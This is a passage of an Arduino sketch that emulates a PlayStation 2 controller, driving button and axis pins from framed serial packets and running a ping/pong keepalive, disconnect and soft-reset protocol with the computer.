Processing Serial Library, which forces the Arduino to reset, due to DTR line (Data Terminal Ready)\n pingTimeOut = currentMillis;\n serial_rx_buffer_ping_out[8] = (byte)((pingTimeOut & 0xFF));\n serial_rx_buffer_ping_out[7] = (byte)((pingTimeOut >> 8) & 0xFF);\n serial_rx_buffer_ping_out[6] = (byte)((pingTimeOut >> 16) & 0xFF);\n serial_rx_buffer_ping_out[5] = (byte)((pingTimeOut >> 24) & 0xFF);\n sentPing = false;\n for (serial_rx_buffer_counter = 0; serial_rx_buffer_counter < sizeof(serial_rx_buffer_ping_out); serial_rx_buffer_counter++) {\n if (serial_rx_buffer_counter == 0) {\n Serial.write(0x04);\n }\n if ((serial_rx_buffer_counter == 1) || (serial_rx_buffer_counter == 2) || (serial_rx_buffer_counter == 3) || (serial_rx_buffer_counter == 4)) {\n Serial.write(0x00);\n }\n if ((serial_rx_buffer_counter == 5) || (serial_rx_buffer_counter == 6) || (serial_rx_buffer_counter == 7) || (serial_rx_buffer_counter == 8)) {\n Serial.write(serial_rx_buffer_ping_out[serial_rx_buffer_counter]);\n }\n if ((serial_rx_buffer_counter == 9) || (serial_rx_buffer_counter == 10)) {\n Serial.write(0x00);\n }\n if (serial_rx_buffer_counter == 11) {\n Serial.write(0x04);\n }\n }\n Serial.flush();\n sendPing();\n calculatePing();\n calculatePong();\n getAttention();\n readMotors();\n \/\/Serial.println(\"END OF SETUP\");\n \/\/ And we are ready to go\n}\n\nvoid loop() {\n currentMillis = millis();\n \/\/ Get data from Serial Port\n \/\/ Preamble\/Postamble = 0x01 for Controller Input \/\/ Does the Arduino have to respond with a different Preamble\/Postamble value when it receives a valid Controller Input Data?\n \/\/ Preamble\/Postamble = Send 0x02 to Arduino for Motors and Analog Status\n \/\/ Preamble\/Postamble = Arduino responds with 0x06 for Motors and Analog Status, when Preamble\/Postamble = 0x02\n \/\/ Preamble\/Postamble = 0x07 for Motors and Analog Status, when Attention Pin is LOW\n \/\/ Preamble\/Postamble = 0x08 for Motors and Analog Status, when Attention Pin is HIGH\n\n \/\/ Preamble\/Postamble = 0x03 for PING for BOTH ways\n \/\/ PING\/PONG System where PING is sent from the Arduino and PONG is sent from the Computer:\n \/\/ Where \">>\" is incoming data and \"<<\" is outgoing data\n \/\/ << PING 3000 \/\/ This is data sent from the Arduino\n \/\/ >> PONG 3000 \/\/ This is data the Arduino received\n\n \/\/ Preamble\/Postamble = 0x04 for PONG for BOTH wayy\n \/\/ PING\/PONG System where PING is sent from the Computer and PONG is sent from the Arduino:\n \/\/ Where \">>\" is incoming data and \"<<\" is outgoing data\n \/\/ >> PING 1487568769420 \/\/ This is data the Arduino received\n \/\/ << PONG 1487568769420 \/\/ This is data sent from the Arduino\n\n \/\/ NOTE: This is in no way supposed to represent actual communication, it's only a way to making visualizing data traffic more easily\n\n \/\/ Preamble\/Postamble = 0xA0 for Soft Reset the Arduino without resetting Variables\n \/\/ Preamble\/Postamble = 0xA1 for Command that tells the computer the Reset command 0xA0 was understood by the Arduino\n\n \/\/ Preamble\/Postamble = 0x09 for Disconnect\n \/\/ Preamble\/Postamble = 0x0A for Disconnect Understood\n \/\/ Preamble\/Postamble = 0x0B for Reconnect Successful\n \/\/ Example:\n \/\/ Arduino sends Disconnect to the computer in case of PING timeout (The Computer didn't respond with PONG in time)\n \/\/ The computer then sends Disconnect Understood back to the Arduino, both close connections on their ends, then start connection again\n \/\/ The Arduino then sends Reconnect Successful to tell the computer Connection is working as intended\n \/\/ Or:\n \/\/ Computer sends Disconnect to the Arduino in case of PING timeout (The Arduino didn't respond with PONG in time)\n \/\/ The Arduino then sends Disconnect Understood back to the Computer, both close connections on their ends, then start connection again\n \/\/ The Computer then sends Reconnect Successful to tell the Arduino Connection is working as intended\n if (Serial.available() > 0) {\n\n controller = Serial.readBytes(serial_rx_buffer, sizeof(serial_rx_buffer)) && 0xFF;\n\n \/\/ Set Start Byte (Preamble Byte) and End Byte (Postamble Byte)\n \/\/ 1 == 0x01\n if ((serial_rx_buffer[0] == 0x01) && (serial_rx_buffer[11] == 0x01)) {\n\n \/\/ Count bytes and parse ASCII values to their respective commands, such as buttons and axis\n for (serial_rx_buffer_counter = 0; serial_rx_buffer_counter < sizeof(serial_rx_buffer); serial_rx_buffer_counter++) {\n Serial.write(serial_rx_buffer[serial_rx_buffer_counter]); \/\/ This line writes the serial data back to the computer as a way to check if the Arduino isn't interpreting wrong values\n \/\/ Invert 0 to 255 and vice versa to make it easier to determine which commands to enable or not, and their values\n serial_rx_buffer_inverted[serial_rx_buffer_counter] = (255 - serial_rx_buffer[serial_rx_buffer_counter]);\n serial_rx_buffer_controller[serial_rx_buffer_counter] = serial_rx_buffer[serial_rx_buffer_counter];\n serial_rx_buffer_inverted_controller[serial_rx_buffer_counter] = (255 - serial_rx_buffer_controller[serial_rx_buffer_counter]);\n }\n \/\/Serial.print('\\n');\n Serial.flush();\n \/\/ Make the button presses actually work\n isInputting = true;\n previousInputDelay = currentMillis;\n }\n \/\/ Get Motors and Analog status\n else if ((serial_rx_buffer[0] == 0x02) && (serial_rx_buffer[11] == 0x02)) {\n for (serial_rx_buffer_counter = 0; serial_rx_buffer_counter < sizeof(serial_rx_buffer); serial_rx_buffer_counter++) {\n Serial.write(serial_rx_buffer[serial_rx_buffer_counter]); \/\/ This line writes the serial data back to the computer as a way to check if the Arduino isn't interpreting wrong values\n serial_rx_buffer_motor[serial_rx_buffer_counter] = serial_rx_buffer[serial_rx_buffer_counter];\n }\n readMotors();\n }\n \/\/ Get PING\/PONG status\n else if ((serial_rx_buffer[0] == 0x03) && (serial_rx_buffer[11] == 0x03)) {\n \/\/ Get PING status\n for (serial_rx_buffer_counter = 0; serial_rx_buffer_counter < sizeof(serial_rx_buffer_ping_in); serial_rx_buffer_counter++) {\n \/\/ Pass Serial Buffer to Ping Input Buffer\n serial_rx_buffer_ping_in[serial_rx_buffer_counter] = serial_rx_buffer[serial_rx_buffer_counter];\n }\n getPing();\n }\n else if ((serial_rx_buffer[0] == 0x04) && (serial_rx_buffer[11] == 0x04)) {\n \/\/ Get PONG status\n for (serial_rx_buffer_counter = 0; serial_rx_buffer_counter < sizeof(serial_rx_buffer_pong_in); serial_rx_buffer_counter++) {\n \/\/ Pass Serial Buffer to Pong Input Buffer\n serial_rx_buffer_pong_in[serial_rx_buffer_counter] = serial_rx_buffer[serial_rx_buffer_counter];\n }\n getPong();\n }\n else if ((serial_rx_buffer[0] == 0xA0) && (serial_rx_buffer[11] == 0xA0)) {\n \/\/ Reset Arduino without reseting Variables\n for (serial_rx_buffer_counter = 0; serial_rx_buffer_counter < sizeof(serial_rx_buffer_reset); serial_rx_buffer_counter++) {\n \/\/ Pass Serial Buffer to Reset Buffer\n serial_rx_buffer_reset[serial_rx_buffer_counter] = serial_rx_buffer[serial_rx_buffer_counter];\n }\n arduinoReset();\n }\n else if ((serial_rx_buffer[0] == 0x09) && (serial_rx_buffer[11] == 0x09)) {\n \/\/ Reset Arduino without reseting Variables\n for (serial_rx_buffer_counter = 0; serial_rx_buffer_counter < sizeof(serial_rx_buffer_disconnect); serial_rx_buffer_counter++) {\n \/\/ Pass Serial Buffer to Reset Buffer\n serial_rx_buffer_disconnect[serial_rx_buffer_counter] = serial_rx_buffer[serial_rx_buffer_counter];\n }\n arduinoDisconnect();\n }\n }\n pressButtons();\n sendPing();\n calculatePing();\n calculatePong();\n getAttention();\n} \/\/ Close Loop Function\n\nvoid arduinoDisconnect() {\n disconnectCalled = currentMillis;\n \/\/Serial.println(disconnectCalled);\n \/\/Serial.println(\"DISCONNECTING...\");\n serial_rx_buffer_disconnect[0] = 0x0A;\n serial_rx_buffer_disconnect[11] = 0x0A;\n for (serial_rx_buffer_counter = 0; serial_rx_buffer_counter < sizeof(serial_rx_buffer_disconnect); serial_rx_buffer_counter++) {\n Serial.write(serial_rx_buffer_disconnect[serial_rx_buffer_counter]); \/\/ This line writes the serial data back to the computer as a way to check if the Arduino isn't interpreting wrong values\n }\n Serial.flush();\n Serial.end();\n isConnected = false;\n disconnectDone = currentMillis;\n Serial.begin(baudRate);\n serial_rx_buffer_disconnect[0] = 0x0B;\n serial_rx_buffer_disconnect[11] = 0x0B;\n isConnected = true;\n for (serial_rx_buffer_counter = 0; serial_rx_buffer_counter < sizeof(serial_rx_buffer_disconnect); serial_rx_buffer_counter++) {\n Serial.write(serial_rx_buffer_disconnect[serial_rx_buffer_counter]); \/\/ This line writes the serial data back to the computer as a way to check if the Arduino isn't interpreting wrong values\n }\n Serial.flush();\n \/\/Serial.println(\"RECONNECTED!\");\n \/\/Serial.println(disconnectDone);\n}\n\nvoid arduinoReset() {\n resetCalled = currentMillis;\n serial_rx_buffer_reset[0] = 0xA1;\n serial_rx_buffer_reset[11] = 0xA1;\n for (serial_rx_buffer_counter = 0; serial_rx_buffer_counter < sizeof(serial_rx_buffer_reset); serial_rx_buffer_counter++) {\n Serial.write(serial_rx_buffer_reset[serial_rx_buffer_counter]); \/\/ This line writes the serial data back to the computer as a way to check if the Arduino isn't interpreting wrong values\n }\n Serial.flush();\n asm volatile (\" jmp 0\");\n resetDone = currentMillis;\n for (serial_rx_buffer_counter = 0; serial_rx_buffer_counter < sizeof(serial_rx_buffer_reset); serial_rx_buffer_counter++) {\n Serial.write(serial_rx_buffer_reset[serial_rx_buffer_counter]); \/\/ This line writes the serial data back to the computer as a way to check if the Arduino isn't interpreting wrong values\n }\n Serial.flush();\n \/\/ From here on, the setup() function will be called again, the computer then proceeds to reset its variables just like an usual startup routine\n}\n\nvoid pressButtons() {\n if (isInputtingDelayed == false) {\n \/\/ Define input delay (If Buffer Array Element 9 and 10 !=0)\n inputDelay = (unsigned long)serial_rx_buffer[9] << 8 | (unsigned long)serial_rx_buffer[10];\n }\n if (isInputting == true)\n {\n for (serial_rx_buffer_counter = 0; serial_rx_buffer_counter < sizeof(serial_rx_buffer_controller); serial_rx_buffer_counter++) {\n Serial.write(serial_rx_buffer_controller[serial_rx_buffer_counter]); \/\/ This line writes the serial data back to the computer as a way to check if the Arduino isn't interpreting wrong values\n \/\/ Invert 0 to 255 and vice versa to make it easier to determine which commands to enable or not, and their values\n serial_rx_buffer_inverted_controller[serial_rx_buffer_counter] = (255 - serial_rx_buffer_controller[serial_rx_buffer_counter]);\n }\n \/\/Serial.print('\\n');\n Serial.flush();\n \/\/ Press Button\n\n \/\/ First 8 buttons, Buffer Array Element 1\n \/\/ SELECT, L3, R3, START, DUP, DRIGHT, DDOWN, DLEFT\n digitalWrite(commandArray[0], (serial_rx_buffer_inverted_controller[1] & B00000001));\n digitalWrite(commandArray[1], (serial_rx_buffer_inverted_controller[1] & B00000010));\n digitalWrite(commandArray[2], (serial_rx_buffer_inverted_controller[1] & B00000100));\n digitalWrite(commandArray[3], (serial_rx_buffer_inverted_controller[1] & B00001000));\n digitalWrite(commandArray[4], (serial_rx_buffer_inverted_controller[1] & B00010000));\n digitalWrite(commandArray[5], (serial_rx_buffer_inverted_controller[1] & B00100000));\n digitalWrite(commandArray[6], (serial_rx_buffer_inverted_controller[1] & B01000000));\n digitalWrite(commandArray[7], (serial_rx_buffer_inverted_controller[1] & B10000000));\n\n \/\/ Second 8 buttons, Buffer Array Element 2\n \/\/ L2, R2, L1, R1, Triangle\/Delta, Circle\/O, Cross\/X, Square\n digitalWrite(commandArray[8], (serial_rx_buffer_inverted_controller[2] & B00000001));\n digitalWrite(commandArray[9], (serial_rx_buffer_inverted_controller[2] & B00000010));\n digitalWrite(commandArray[10], (serial_rx_buffer_inverted_controller[2] & B00000100));\n digitalWrite(commandArray[11], (serial_rx_buffer_inverted_controller[2] & B00001000));\n digitalWrite(commandArray[12], (serial_rx_buffer_inverted_controller[2] & B00010000));\n digitalWrite(commandArray[13], (serial_rx_buffer_inverted_controller[2] & B00100000));\n digitalWrite(commandArray[14], (serial_rx_buffer_inverted_controller[2] & B01000000));\n digitalWrite(commandArray[15], (serial_rx_buffer_inverted_controller[2] & B10000000));\n\n \/\/ 4 Axis, Buffer Array Elements 3, 4, 5, 6\n \/\/ RX, RY, LX, LY\n analogWrite(commandArray[16], serial_rx_buffer_inverted_controller[3]);\n analogWrite(commandArray[17], serial_rx_buffer_inverted_controller[4]);\n analogWrite(commandArray[18], serial_rx_buffer_inverted_controller[5]);\n analogWrite(commandArray[19], serial_rx_buffer_inverted_controller[6]);\n\n \/\/ Analog button (Used to change between Digital and Analog modes in older games), Buffer Array Element 7\n \/\/ All other bits in this Buffer Array Element are unused\n digitalWrite(commandArray[20], (serial_rx_buffer_inverted_controller[7] & B00000001));\n\n \/\/ Buffer Array Element 8 is unused in this code, but is existing in case changes are needed\n\n \/\/ Buffer Array Elements 9 and 10 are used to tell the Arduino how long commands are executed, on a delay ranging from 1-65535ms\n \/\/if (serial_rx_buffer[9] != 0x00)\n \/\/if (serial_rx_buffer[10] != 0x00)\n if (inputDelay != 0) {\n isInputtingDelayed = true;\n\n \/\/ The block below executes Soft Delay for holding the buttons down\n if (isInputtingDelayed == true) {\n if (currentMillis - previousInputDelay >= inputDelay) {\n \/\/ Now we need to stop the Soft Delay\n\n \/\/ Depress Buttons (Only if Buffer Array Element 9 and 10 != 0x00)\n serial_rx_buffer_controller[1] = 0x00;\n serial_rx_buffer_controller[2] = 0x00;\n serial_rx_buffer_controller[3] = 0x7F;\n serial_rx_buffer_controller[4] = 0x7F;\n serial_rx_buffer_controller[5] = 0x7F;\n serial_rx_buffer_controller[6] = 0x7F;\n serial_rx_buffer_controller[7] = 0x00;\n serial_rx_buffer_controller[8] = 0x00;\n\n for (serial_rx_buffer_counter = 0; serial_rx_buffer_counter < sizeof(serial_rx_buffer_controller); serial_rx_buffer_counter++) {\n Serial.write(serial_rx_buffer_controller[serial_rx_buffer_counter]); \/\/ This line writes the serial data back to the computer as a way to check if the Arduino isn't interpreting wrong values\n \/\/ Invert 0 to 255 and vice versa to make it easier to determine which commands to enable or not, and their values\n serial_rx_buffer_inverted_controller[serial_rx_buffer_counter] = (255 - serial_rx_buffer_controller[serial_rx_buffer_counter]);\n }\n\n \/\/ First 8 buttons, Buffer Array Element 1\n \/\/ SELECT, L3, R3, START, DUP, DRIGHT, DDOWN, DLEFT\n digitalWrite(commandArray[0], (serial_rx_buffer_inverted_controller[1] & B00000001));\n digitalWrite(commandArray[1], (serial_rx_buffer_inverted_controller[1] & B00000010));\n digitalWrite(commandArray[2], (serial_rx_buffer_inverted_controller[1] & B00000100));\n digitalWrite(commandArray[3], (serial_rx_buffer_inverted_controller[1] & B00001000));\n digitalWrite(commandArray[4], (serial_rx_buffer_inverted_controller[1] & B00010000));\n digitalWrite(commandArray[5], (serial_rx_buffer_inverted_controller[1] & B00100000));\n digitalWrite(commandArray[6], (serial_rx_buffer_inverted_controller[1] & B01000000));\n digitalWrite(commandArray[7], (serial_rx_buffer_inverted_controller[1] & B10000000));\n\n \/\/ Second 8 buttons, Buffer Array Element 2\n \/\/ L2, R2, L1, R1, Triangle\/Delta, Circle\/O, Cross\/X, Square\n digitalWrite(commandArray[8], (serial_rx_buffer_inverted_controller[2] & B00000001));\n digitalWrite(commandArray[9], (serial_rx_buffer_inverted_controller[2] & B00000010));\n digitalWrite(commandArray[10], (serial_rx_buffer_inverted_controller[2] & B00000100));\n digitalWrite(commandArray[11], (serial_rx_buffer_inverted_controller[2] & B00001000));\n digitalWrite(commandArray[12], (serial_rx_buffer_inverted_controller[2] & B00010000));\n digitalWrite(commandArray[13], (serial_rx_buffer_inverted_controller[2] & B00100000));\n digitalWrite(commandArray[14], (serial_rx_buffer_inverted_controller[2] & B01000000));\n digitalWrite(commandArray[15], (serial_rx_buffer_inverted_controller[2] & B10000000));\n\n \/\/ 4 Axis, Buffer Array Elements 3, 4, 5, 6\n \/\/ RX, RY, LX, LY\n analogWrite(commandArray[16], serial_rx_buffer_inverted_controller[3]);\n analogWrite(commandArray[17], serial_rx_buffer_inverted_controller[4]);\n analogWrite(commandArray[18], serial_rx_buffer_inverted_controller[5]);\n analogWrite(commandArray[19], serial_rx_buffer_inverted_controller[6]);\n\n \/\/ Analog button (Used to change between Digital and Analog modes in older games), Buffer Array Element 7\n \/\/ All other bits in this Buffer Array Element are unused\n digitalWrite(commandArray[20], (serial_rx_buffer_inverted_controller[7] & B00000001));\n\n \/\/ Buffer Array Element 8 is unused in this code, but is existing in case changes are needed\n \/\/Serial.print('\\n');\n Serial.flush();\n\n isInputtingDelayed = false;\n isInputting = false;\n previousInputDelay += inputDelay;\n inputDelay = 0;\n }\n }\n }\n }\n}\n\nvoid getPing() {\n \/\/ This function gets PING sent from the computer, then responds with PONG back to the computer\n pingTimeIn = (unsigned long)serial_rx_buffer_ping_in[5] << 24 | (unsigned long)serial_rx_buffer_ping_in[6] << 16 | (unsigned long)serial_rx_buffer_ping_in[7] << 8 | (unsigned long)serial_rx_buffer_ping_in[8];\n pongTimeOut = pingTimeIn;\n for (serial_rx_buffer_counter = 0; serial_rx_buffer_counter < sizeof(serial_rx_buffer); serial_rx_buffer_counter++) {\n serial_rx_buffer_pong_out[serial_rx_buffer_counter] = serial_rx_buffer_ping_in[serial_rx_buffer_counter];\n if (serial_rx_buffer_counter == 0) {\n Serial.write(0x04);\n }\n if ((serial_rx_buffer_counter == 1) || (serial_rx_buffer_counter == 2) || (serial_rx_buffer_counter == 3) || (serial_rx_buffer_counter == 4)) {\n Serial.write(0x00);\n }\n if ((serial_rx_buffer_counter == 5) || (serial_rx_buffer_counter == 6) || (serial_rx_buffer_counter == 7) || (serial_rx_buffer_counter == 8)) {\n Serial.write(serial_rx_buffer_pong_out[serial_rx_buffer_counter]);\n }\n if ((serial_rx_buffer_counter == 9) || (serial_rx_buffer_counter == 10)) {\n Serial.write(0x00);\n }\n if (serial_rx_buffer_counter == 11) {\n Serial.write(0x04);\n }\n \/\/Serial.write(serial_rx_buffer[serial_rx_buffer_counter]); \/\/ Write time back to computer\n sentPong = true;\n }\n \/\/previousPingDelay = currentMillis;\n lastPingIn = currentMillis;\n lastPongOut = currentMillis;\n Serial.flush();\n \/*\n Serial.print(\"PONG = \");\n Serial.println(currentMillis);\n Serial.flush();\n Serial.println(\"PING RECEIVED\");\n Serial.println(\"\");\n Serial.print(\"LAST PING TIME IN = \");\n Serial.println(lastPingIn);\n Serial.print(\"LAST PONG TIME IN = \");\n Serial.println(lastPongIn);\n Serial.print(\"LAST PING TIME OUT = \");\n Serial.println(lastPingOut);\n Serial.print(\"LAST PONG TIME OUT = \");\n Serial.println(lastPongOut);\n Serial.print(\"PING TIME OUT = \");\n Serial.println(pingTimeOut);\n Serial.print(\"PONG TIME OUT = \");\n Serial.println(pongTimeOut);\n Serial.print(\"PING TIME IN = \");\n Serial.println(pingTimeIn);\n Serial.print(\"PONG TIME IN= \");\n Serial.println(pongTimeIn);\n Serial.flush();\n *\/\n sentPong = false;\n}\n\nvoid getPong() {\n \/\/ This function gets PONG sent from the computer, then stores it in an Unsigned Long Integer\n pongTimeIn = (unsigned long)serial_rx_buffer_pong_in[5] << 24 | (unsigned long)serial_rx_buffer_pong_in[6] << 16 | (unsigned long)serial_rx_buffer_pong_in[7] << 8 | (unsigned long)serial_rx_buffer_pong_in[8];\n \/\/ This for loop doesn't have to be used, the Arduino doesn't have to respond to PONG with PONG, it doesn't have to respont to PONG at all.\n \/*\n for (serial_rx_buffer_counter = 0; serial_rx_buffer_counter < sizeof(serial_rx_buffer_pong_in); serial_rx_buffer_counter++) {\n serial_rx_buffer_ping_out[serial_rx_buffer_counter] = serial_rx_buffer_pong_in[serial_rx_buffer_counter];\n if (serial_rx_buffer_counter == 0) {\n Serial.write(0x04);\n }\n if ((serial_rx_buffer_counter == 1) || (serial_rx_buffer_counter == 2) || (serial_rx_buffer_counter == 3) || (serial_rx_buffer_counter == 4)) {\n Serial.write(0x00);\n }\n if ((serial_rx_buffer_counter == 5) || (serial_rx_buffer_counter == 6) || (serial_rx_buffer_counter == 7) || (serial_rx_buffer_counter == 8)) {\n Serial.write(serial_rx_buffer_ping_out[serial_rx_buffer_counter]);\n }\n if ((serial_rx_buffer_counter == 9) || (serial_rx_buffer_counter == 10)) {\n Serial.write(0x00);\n }\n if (serial_rx_buffer_counter == 11) {\n Serial.write(0x04);\n }\n \/\/Serial.write(serial_rx_buffer[serial_rx_buffer_counter]); \/\/ Write time back to computer\n sentPong = true;\n }\n *\/\n previousPongDelay = currentMillis;\n lastPongIn = currentMillis;\n Serial.flush();\n \/*\n Serial.println(\"PONG RECEIVED\");\n Serial.println(\"\");\n Serial.print(\"CURRENT TIME = \");\n Serial.println(currentMillis);\n Serial.flush();\n Serial.print(\"LAST PING TIME IN = \");\n Serial.println(lastPingIn);\n Serial.print(\"LAST PONG TIME IN = \");\n Serial.println(lastPongIn);\n Serial.print(\"LAST PING TIME OUT = \");\n Serial.println(lastPingOut);\n Serial.print(\"LAST PONG TIME OUT = \");\n Serial.println(lastPongOut);\n Serial.print(\"PING TIME OUT = \");\n Serial.println(pingTimeOut);\n Serial.print(\"PONG TIME OUT = \");\n Serial.println(pongTimeOut);\n Serial.print(\"PING TIME IN = \");\n Serial.println(pingTimeIn);\n Serial.print(\"PONG TIME IN= \");\n Serial.println(pongTimeIn);\n Serial.flush();\n *\/\n}\n\nvoid sendPing() {\n \/\/ This function sends PING to the computer 1 time per second, the computer then responds with PONG back to the Arduino, PONG is then processed in another function\n if (currentMillis - previousPingDelay >= pingDelay) {\n pingTimeOut = currentMillis;\n serial_rx_buffer_ping_out[8] = (byte)((pingTimeOut & 0xFF));\n serial_rx_buffer_ping_out[7] = (byte)((pingTimeOut >> 8) & 0xFF);\n serial_rx_buffer_ping_out[6] = (byte)((pingTimeOut >> 16) & 0xFF);\n serial_rx_buffer_ping_out[5] = (byte)((pingTimeOut >> 24) & 0xFF);\n for (serial_rx_buffer_counter = 0; serial_rx_buffer_counter < sizeof(serial_rx_buffer_ping_out); serial_rx_buffer_counter++) {\n if (serial_rx_buffer_counter == 0) {\n Serial.write(0x03);\n }\n if ((serial_rx_buffer_counter == 1) || (serial_rx_buffer_counter == 2) || (serial_rx_buffer_counter == 3) || (serial_rx_buffer_counter == 4)) {\n Serial.write(0x00);\n }\n if ((serial_rx_buffer_counter == 5) || (serial_rx_buffer_counter == 6) || (serial_rx_buffer_counter == 7) || (serial_rx_buffer_counter == 8)) {\n Serial.write(serial_rx_buffer_ping_out[serial_rx_buffer_counter]);\n }\n if ((serial_rx_buffer_counter == 9) || (serial_rx_buffer_counter == 10)) {\n Serial.write(0x00);\n }\n if (serial_rx_buffer_counter == 11) {\n Serial.write(0x03);\n }\n }\n Serial.flush();\n sentPing = true;\n \/*\n Serial.print(\"pongTimeByte5 = \");\n Serial.println(serial_rx_buffer[5]);\n Serial.print(\"pongTimeByte6 = \");\n Serial.println(serial_rx_buffer[6]);\n Serial.print(\"pongTimeByte7 = \");\n Serial.println(serial_rx_buffer[7]);\n Serial.print(\"pongTimeByte8 = \");\n Serial.println(serial_rx_buffer[8]);\n *\/\n \/*\n Serial.println();\n Serial.print(\"PING = \");\n Serial.println(pongTime);\n Serial.flush();\n Serial.print(\"PING PREVIOUS = \");\n Serial.println(previousPingDelay);\n Serial.print(\"PONG PREVIOUS = \");\n Serial.println(previousPongDelay);\n Serial.flush();\n Serial.print(\"CURRENT PONG CALCULATED = \");\n Serial.println(calcPongTimestamp);\n Serial.flush();\n Serial.print(\"CURRENT PING CALCULATED = \");\n Serial.println(calcPingTimestamp);\n Serial.flush();\n *\/\n previousPingDelay += pingDelay;\n }\n sentPing = false;\n}\n\nvoid calculatePing() {\n \/\/ Calculate delay since last PONG sent from the computer, If the computer doesn't respond with PONG in 30 seconds since the last PONG sent from the computer, connection is interrupted and the restarted\n calcPingTimestampIn = (currentMillis - previousPingDelay);\n if ((calcPongTimestampIn - calcPingTimestampIn >= 30000) && (calcPongTimestampIn - calcPingTimestampIn <= currentMillis)) {\n disconnectCalled = currentMillis;\n \/\/Serial.println(disconnectCalled);\n \/\/Serial.println(\"DISCONNECTING...\");\n \/\/Serial.print(\"DISCONNECTING PING = \");\n \/\/Serial.println(calcPongTimestampIn);\n serial_rx_buffer_disconnect[0] = 0x0A;\n serial_rx_buffer_disconnect[11] = 0x0A;\n for (serial_rx_buffer_counter = 0; serial_rx_buffer_counter < sizeof(serial_rx_buffer_disconnect); serial_rx_buffer_counter++) {\n Serial.write(serial_rx_buffer_disconnect[serial_rx_buffer_counter]); \/\/ This line writes the serial data back to the computer as a way to check if the Arduino isn't interpreting wrong values\n }\n Serial.flush();\n \/\/calcPongTimestamp = 0;\n previousPongDelay = currentMillis;\n \/\/Serial.print(\"RESET PING = \");\n \/\/Serial.println(calcPongTimestamp);\n Serial.end();\n isConnected = false;\n \/\/Serial.println(\"Sending shit after connection has closed\");\n Serial.begin(baudRate);\n serial_rx_buffer_disconnect[0] = 0x0B;\n serial_rx_buffer_disconnect[11] = 0x0B;\n isConnected = true;\n disconnectDone = currentMillis;\n for (serial_rx_buffer_counter = 0; serial_rx_buffer_counter < sizeof(serial_rx_buffer_disconnect); serial_rx_buffer_counter++) {\n Serial.write(serial_rx_buffer_disconnect[serial_rx_buffer_counter]); \/\/ This line writes the serial data back to the computer as a way to check if the Arduino isn't interpreting wrong values\n }\n Serial.flush();\n \/\/Serial.println(\"Sending shit after connection has began\");\n \/\/Serial.println(\"RECONNECTED!\");\n \/\/Serial.println(calcPongTimestampIn);\n disconnectDone = currentMillis;\n \/\/Serial.println(disconnectDone);\n }\n else if (calcPongTimestampIn - calcPingTimestampIn < 30000) {\n \/\/Serial.println(\"PONG OK\");\n \/\/Serial.println(currentMillis);\n }\n}\n\nvoid calculatePong() {\n \/\/ Caclulate if PONG is out of range, then do something\n calcPongTimestampIn = (currentMillis - previousPongDelay);\n \/\/ Seriously, why did I make this function it serves no point, or I just forgot what it was supposed to be used for.(?)\n}\n\nvoid getAttention() {\n \/\/ Get Attention Line levels, if it's low, then it's sending input, if it's high, it's not sending input to the PS2\n attentionLevel = digitalRead(attentionPin);\n if (attentionLevel != previousAttentionLevel)\n {\n if (attentionLevel == HIGH)\n {\n \/\/Serial.println(\"HIGH\");\n readMotors();\n previousAttentionLevelHigh = currentMillis;\n \/\/Serial.println(previousAttentionLevelHigh);\n attentionLevelHigh++;\n }\n else if (attentionLevel == LOW)\n {\n \/\/Serial.println(\"LOW\");\n readMotors();\n previousAttentionLevelLow = currentMillis;\n \/\/Serial.println(previousAttentionLevelLow);\n attentionLevelLow++;\n }\n }\n previousAttentionLevel = attentionLevel;\n}\n\n\/*\n void doStuff() {\n pongTime = currentMillis;\n serial_rx_buffer[7] = (byte) pongTime;\n serial_rx_buffer[8] = (byte) pongTime >> 8;\n serial_rx_buffer[9] = (byte) pongTime >> 16;\n serial_rx_buffer[10] = (byte) pongTime >> 24;\n sentPing = false;\n if (currentMillis - previousPingDelay >= pingDelay) {\n \/\/pongTime = (unsigned long)serial_rx_buffer[7] << 24 | (unsigned long)serial_rx_buffer[8] << 16 | (unsigned long)serial_rx_buffer[9] << 8 | (unsigned long)serial_rx_buffer[10];\n for (serial_rx_buffer_counter = 0; serial_rx_buffer_counter < sizeof(serial_rx_buffer); serial_rx_buffer_counter++) {\n if (serial_rx_buffer_counter == 0) {\n \/\/Serial.write(0x04);\n }\n if ((serial_rx_buffer_counter == 1) || (serial_rx_buffer_counter == 2) || (serial_rx_buffer_counter == 3) || (serial_rx_buffer_counter == 4) || (serial_rx_buffer_counter == 5) || (serial_rx_buffer_counter == 6)) {\n \/\/Serial.write(0x00);\n }\n if ((serial_rx_buffer_counter == 7) || (serial_rx_buffer_counter == 8) || (serial_rx_buffer_counter == 9) || (serial_rx_buffer_counter == 10)) {\n \/\/Serial.write(serial_rx_buffer[serial_rx_buffer_counter]);\n }\n if (serial_rx_buffer_counter == 11) {\n \/\/Serial.write(0x04);\n }\n }\n \/\/Serial.flush();\n \/\/Serial.println();\n Serial.print(\"PONG = \");\n Serial.println(pongTime);\n Serial.flush();\n sentPing = true;\n previousPingDelay += pingDelay;\n }\n }\n*\/\n\nvoid readMotors() {\n if ((serial_rx_buffer_motor[0] == 0x02) && (serial_rx_buffer_motor[11] == 0x02))\n {\n \/\/ Observed value is ~39 when On , 0 when Off (Reading analog instead of digital, so I can get a threshold of the reading)\n \/\/leftMotorVal = (digitalRead(motorArray[0])); \/\/ This is the SMALL MOTOR\n leftMotorVal = (analogRead(motorArray[0]));\n \/\/ map() is used to convert min and max values to desired values, in this case, I need to convert 1023 to 255\n leftMotorVal = map(leftMotorVal, 0, 1023, 0, 255);\n\n \/\/ Observed value is ~39 when On , 0 when Off\n rightMotorVal = (analogRead(motorArray[1]));\n \/\/rightMotorVal = (digitalRead(motorArray[1])); \/\/ This is the BIG MOTOR\n rightMotorVal = map(rightMotorVal, 0, 1023, 0, 255);\n\n \/\/ Observed value ~108 when HIGH (LED is OFF), ~85 when LOW (LED is ON)\n analogLedVal = (analogRead(motorArray[2]));\n \/\/analogLedVal = (digitalRead(motorArray[2])); \/\/ If analogLedVal = High, Analog is OFF, else if analogLedVal = Low, Analog is ON\n analogLedVal = map(analogLedVal, 0, 1023, 0, 255);\n serial_rx_buffer_motor[6] = leftMotorVal;\n serial_rx_buffer_motor[7] = rightMotorVal;\n serial_rx_buffer_motor[8] = analogLedVal;\n \/\/Serial.print('\\n');\n for (serial_rx_buffer_counter = 0; serial_rx_buffer_counter < sizeof(serial_rx_buffer_motor); serial_rx_buffer_counter++) {\n if (serial_rx_buffer_counter == 0) {\n Serial.write(0x06);\n }\n if ((serial_rx_buffer_counter == 1) || (serial_rx_buffer_counter == 2) || (serial_rx_buffer_counter == 3) || (serial_rx_buffer_counter == 4) || (serial_rx_buffer_counter == 5)) {\n 